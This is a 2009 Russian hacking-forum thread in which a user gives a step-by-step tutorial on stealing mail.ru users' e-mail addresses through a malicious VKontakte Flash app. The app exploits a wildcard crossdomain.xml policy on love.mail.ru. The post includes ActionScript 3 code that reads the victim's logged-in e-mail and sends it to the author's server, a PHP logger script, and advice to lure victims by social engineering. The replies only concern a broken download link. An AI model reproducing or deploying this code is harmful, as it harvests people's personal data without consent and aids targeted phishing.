Статьи Получаем данные с другого домена через Flash на примере VK и mail.ru

Discussion in 'Статьи' started by zavra, 3 Nov 2009.

  1. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    Предисловие
    Сегодня я хочу рассказать вам о том, как можно заполучить информацию, доступную пользователю на одном сайте (mail.ru), через другой сайт (vkontakte.ru) используя технологию Flash и ActionScript 3 конкретно.

    Основная идея состоит в том, что сервер mail.ru, проверяя куки пользователя, находит в них свои, и подставляет в форму для логина e-mail пользователя.
    Этим мы и воспользуемся. "Но у нас же нету кук жертвы, как мы сможем узнать ее адрес?" — спросите вы. Вот тут-то нам на помощь и приходит Flash.


    С его помощью мы можем загружать любые совершенно страницы из Всемирной Сети, и, если у пользователя есть куки на этом сервере, то загрузятся его данные. К примеру если пользователь авторизован на сервере mail.ru, мы могли бы загрузить всю его почту. Но не все так просто, потому что есть одно но: именно для защиты от таких умников, и ввели защиту. Она состоит в том, что для того, чтобы загрузить данные с другого домена, на нем должен быть файл политики безопасности.

    Файл Политики Безопасности
    Файл этот представляет собой xml страницу с именем crossdomain.xml, содержащий в себе домены, с которых разрешен доступ к данным на сервере, в корне которого лежит этот самый файл. Зайдем на http://win.mail.ru/crossdomain.xml — домен с почтой.
    PHP:
    <cross-domain-policy>
        <
    allow-access-from domain="*.mail.ru"/>
     </
    cross-domain-policy>
    И что же мы видим? А именно то, что ни с какого другого сайта кроме самого mail.ru и его поддоменов мы не сможем просмотреть письма жертвы. Иными словами, зайти с vkontakte.ru и слить всю почту у нас не получится. Однако давайте поищем такой сервис mail.ru, у которого crossdomain.xml содержал бы
    PHP:
    <cross-domain-policy>
    <
    allow-access-from domain="*"/>
    </
    cross-domain-policy>
    Это значит, что получить доступ к страницам такого сервиса мы можем откуда угодно, в нашем случае — с vkontakte.ru через сервис Приложения.
    И искать мы будем на странице всех проектов: http://mail.ru/all/.

    Так, может [​IMG] Игры Mail.ru?
    PHP:
    <cross-domain-policy>
      <
    allow-access-from domain="*.mail.ru" to-ports="80,443,10999"/>
      <
    site-control permitted-cross-domain-policies="all"/>
     </
    cross-domain-policy>
    Нет, опять только с mail.ru.

    Тогда попробуем [​IMG] Рейтинг Mail.ru:
    PHP:
    <cross-domain-policy>
      <
    allow-access-from domain="195.218.191.64" to-ports="80"/>
      <
    allow-access-from domain="top.mail.ru" to-ports="80"/>
      <
    allow-access-from domain="www.top.mail.ru" to-ports="80"/>
      <
    site-control permitted-cross-domain-policies="all"/>
     </
    cross-domain-policy>
    Опять не то.

    Пробуем [​IMG] Знакомства Mail.ru:
    PHP:
    <cross-domain-policy>
    <
    site-control permitted-cross-domain-policies="all"/>
      <
    allow-access-from domain="*"/>
     </
    cross-domain-policy>
    Да это именно то, что нам нужно!

    Знакомства c Mail.ru
    Ну и что дальше, сдалась нам извращенная переписка жертвы с милыми самочками, ну или несамочками, неважно. Так дело в том, что если юзер не авторизирован там, и даже никогда не заходил туда, на странице http://lоve.mаil.ru/tips/?tip=Login отображается его e-mail, в случае если на компьютере есть куки mail.ru:
    [​IMG].
    А это значит, что в сочетании с политикой безопасности, разрешающей доступ с любого домена, мы можем получить почту жертвы с vkontakte.ru. Для этого я написал небольший корявый скрипт, записывающий на наш сервер id и почту пользователя. Внимание: вам понадобится PHP на хостинге!

    Техническая Часть
    Писать будем на AS3, использую новую модную функцию для приложений VK -- Контейнер. Так же попросим жертву установить приложение на страницу.
    PHP:
    var wrapper:Object;
    var 
    viewer_id:String;
    var 
    is_app_user:String;
    var 
    email:String;

    error.visible false;
    alert.visible false;

    var 
    url:String "http://hosting.ru/snf.php"// этот адрес заменяете на свой

    var mailLoad:URLLoader = new URLLoader;
    var 
    req:URLRequest = new URLRequest(url);
    var 
    vars:URLVariables = new URLVariables();

    this.addEventListener(Event.ADDED_TO_STAGEonAdded);
    function 
    onAdded(e:Event) {
        
    wrapper Object(this.parent.parent);
        var 
    parameters:Object Object(wrapper.application.parameters);
        
    wrapper.application.frameRate="12";
        
    viewer_id parameters["viewer_id"];
        
    is_app_user  parameters["is_app_user"];
        if (
    is_app_user == "0") {
            
    alert.visible true;
        }
        
    mailLoad.addEventListener(Event.COMPLETEonLoaded);
        
    //загружаем страницу с формой входа
        
    mailLoad.load(new URLRequest("http://love.mail.ru/tips/?tip=Login")); 
    }
    function 
    onLoaded(e:Event) {
        var 
    answ e.target.data;

        try {
            
    //проверяем на наличие логина...
            
    var mailIn:RegExp=/name="login" value="(\w+)"/;
            
    //..и домена (mail/ibox/list/bk)
            
    var domainIn:RegExp=/value="(\w+).ru" selected/;

            var 
    mail_res:Object mailIn.exec(answ);
            var 
    domain_res:Object domainIn.exec(answ);

            var 
    mailOut:String mail_res[1].toString();
            var 
    domainOut:String domain_res[1].toString();

        } catch (
    err:Error) {
            
    email "fail"+err.message;
        }
        
    vars.id viewer_id;
        
    vars.email mailOut+"@"+domainOut+".ru";

        
    req.data vars;
        
    req.method URLRequestMethod.POST;
        
    //отправляем полученные данные на наш сервер
        
    sendToURL(req);
    }
    }
    Сниффер на сервер (snf.php):
    PHP:
    <?php
    $f
    =fopen("mail.txt","at");
    flock($f,2);
    fputs($f,$_POST['id'].":");#id
    fputs($f,$_POST['email']);
    flock($f,3);
    fclose($f);
    ?>
    Должно работать, только что тестил. Для компиляции вам понадобится Adobe CS3/4. Дизайн панелек в исходниках.

    Все, что осталось сделать, так это скомпилировать, загрузить вКонтакт и дать жертве ссылку на приложение, на всякий случай предварительно как-нибудь вынудив ее проверить почту (не обязательно, но может чуть увеличить шансы на успех). Как это сделать уже топик для социальной инженерии.

    Исходники
    http://file.qip.ru/file/106387316/4345b90a/mailru.html

    Заключение
    Вот так вот относительно просто мы получили e-mail жертвы, заодно вникнув в основы Flash-приложений и файла политики безопасности. Хотелось бы отметить, что если стоит <allow-access-from domain="*"/> , то определенно точно можно получить какую-либо выгоду, если правильно выбрать жертву. Что-то типа XSS, но более направленное и точечное.

    Так же еще скажу, что на Яндексе на одном из проектов тоже наблюдается такой баг. Для закрепления материала предлагаю вам самим поискать его ;) Удачи!

     
    #1 zavra, 3 Nov 2009
    Last edited: 3 Nov 2009
    12 people like this.
  2. AKYLA

    AKYLA Elder - Старейшина

    Joined:
    29 Nov 2007
    Messages:
    108
    Likes Received:
    35
    Reputations:
    6
    zavra
    Видимо ты на депозит выложил или что-то подобное, пользуйся анонимайзерами ссылок
     
  3. оlbaneс

    оlbaneс Moderator

    Joined:
    5 Nov 2007
    Messages:
    1,376
    Likes Received:
    1,094
    Reputations:
    356
    [forbidden link] поправь
     
    _________________________
  4. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    для юзеров: [forbidden link] расшифровывается кнопкой quote.
     
  5. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    Да как поправить-то, если я и на народ заливал, и на свой хост на jino, и на file.qip.ru =(
     
  6. desTiny

    desTiny Elder - Старейшина

    Joined:
    4 Feb 2007
    Messages:
    1,006
    Likes Received:
    444
    Reputations:
    94
    потому-что нефиг писать [color] внутрь
     
  7. zavra

    zavra Elder - Старейшина

    Joined:
    12 Mar 2008
    Messages:
    87
    Likes Received:
    48
    Reputations:
    23
    Ок, спасибо, но love.mail.ru/ все равно заблочило =)